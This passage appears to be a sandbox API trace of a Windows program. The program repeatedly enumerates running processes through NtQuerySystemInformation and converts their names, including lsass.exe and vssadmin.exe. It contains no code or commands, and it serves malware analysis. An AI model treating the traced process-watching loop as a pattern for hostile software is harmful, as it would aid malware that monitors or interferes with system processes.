(HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0183.356] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.356] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0183.356] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.356] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0183.356] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.356] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0183.356] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.356] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0183.356] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.356] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0183.356] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.356] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0183.356] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.356] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0183.356] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.356] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0183.356] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.356] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0183.356] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0183.356] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0183.356] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.356] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0183.356] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0183.356] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0183.356] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0183.357] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xb) returned 0x33c1e10 [0183.357] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.357] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0183.357] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0183.357] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x15) returned 0x33d17f8 [0183.357] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0183.357] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1a) returned 0x33cbf88 [0183.357] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0183.357] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x13) returned 0x33d1b18 [0183.357] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0183.357] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xe) returned 0x33c1de0 [0183.357] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0183.357] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e88 [0183.357] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0183.357] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e28 [0183.357] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0183.357] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1a18 [0183.357] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0183.357] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x12) returned 0x33d1ad8 [0183.357] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0183.357] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0183.357] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0183.357] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0183.357] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0183.357] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0183.358] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0183.358] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e28 [0183.358] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0183.358] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0183.358] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0183.358] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0183.358] Sleep (dwMilliseconds=0x64) [0183.504] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1024) returned 0x33d60f0 [0183.504] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.504] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x2048) returned 0x33d60f0 [0183.504] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.504] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x306c) returned 0x33d60f0 [0183.504] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.504] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x4090) returned 0x33d60f0 [0183.505] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.505] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x50b4) returned 0x33d60f0 [0183.505] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.505] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x60d8) returned 0x33d60f0 [0183.505] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.505] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x70fc) returned 0x33d60f0 [0183.505] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.505] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x8120) returned 0x33d60f0 [0183.505] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.506] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x9144) returned 0x33d60f0 [0183.506] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.506] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xa168) returned 0x33d60f0 [0183.506] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.506] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xb18c) returned 0x33d60f0 [0183.506] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.506] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xc1b0) returned 0x33d60f0 [0183.506] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.507] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xd1d4) returned 0x33d60f0 [0183.507] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.507] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xe1f8) returned 0x33d60f0 [0183.507] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.507] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xf21c) returned 0x33d60f0 [0183.507] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.507] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x10240) returned 0x33d60f0 [0183.507] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.508] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x11264) returned 0x33d60f0 [0183.508] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.508] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x12288) returned 0x33d60f0 [0183.508] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.508] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x132ac) returned 0x33d60f0 [0183.508] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.509] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x142d0) returned 0x33d60f0 [0183.509] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0x0 [0183.509] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0183.509] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x7) returned 0x33f0560 [0183.509] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0183.509] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x9) returned 0x33c1de0 [0183.509] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0183.509] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e10 [0183.509] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0183.509] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0183.510] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0183.510] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1df8 [0183.510] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0183.510] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0183.510] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0183.510] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0183.510] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0183.510] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e58 [0183.510] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0183.510] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1e40 [0183.510] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0183.510] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1e40 [0183.510] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.510] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0183.510] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.510] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0183.510] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0183.510] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x8) returned 0x33f04f0 [0183.510] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.510] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0183.510] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.510] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0183.510] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.510] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0183.510] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.510] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0183.510] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.511] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0183.511] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.511] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0183.511] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.511] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0183.511] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.511] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0183.511] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.511] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0183.511] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.511] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0183.511] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0183.511] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0183.511] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.511] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0183.511] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0183.511] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0183.511] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0183.511] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xb) returned 0x33c1e88 [0183.511] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.511] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0183.511] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0183.511] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x15) returned 0x33d17f8 [0183.511] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0183.511] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1a) returned 0x33cbf88 [0183.511] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0183.512] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x13) returned 0x33d1838 [0183.512] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0183.512] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xe) returned 0x33c1e40 [0183.512] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0183.512] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e58 [0183.512] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0183.512] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0183.512] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0183.512] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1a18 [0183.512] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0183.512] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x12) returned 0x33d1838 [0183.512] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0183.512] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e58 [0183.512] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0183.512] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0183.512] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0183.512] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0183.512] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0183.512] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0183.512] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0183.512] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0183.512] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0183.512] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0183.512] Sleep (dwMilliseconds=0x64) [0183.643] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1024) returned 0x33d60f0 [0183.643] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.643] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x2048) returned 0x33d60f0 [0183.643] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.643] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x306c) returned 0x33d60f0 [0183.643] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.643] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x4090) returned 0x33d60f0 [0183.643] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.644] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x50b4) returned 0x33d60f0 [0183.644] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.644] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x60d8) returned 0x33d60f0 [0183.644] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.644] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x70fc) returned 0x33d60f0 [0183.644] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.644] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x8120) returned 0x33d60f0 [0183.644] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.644] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, 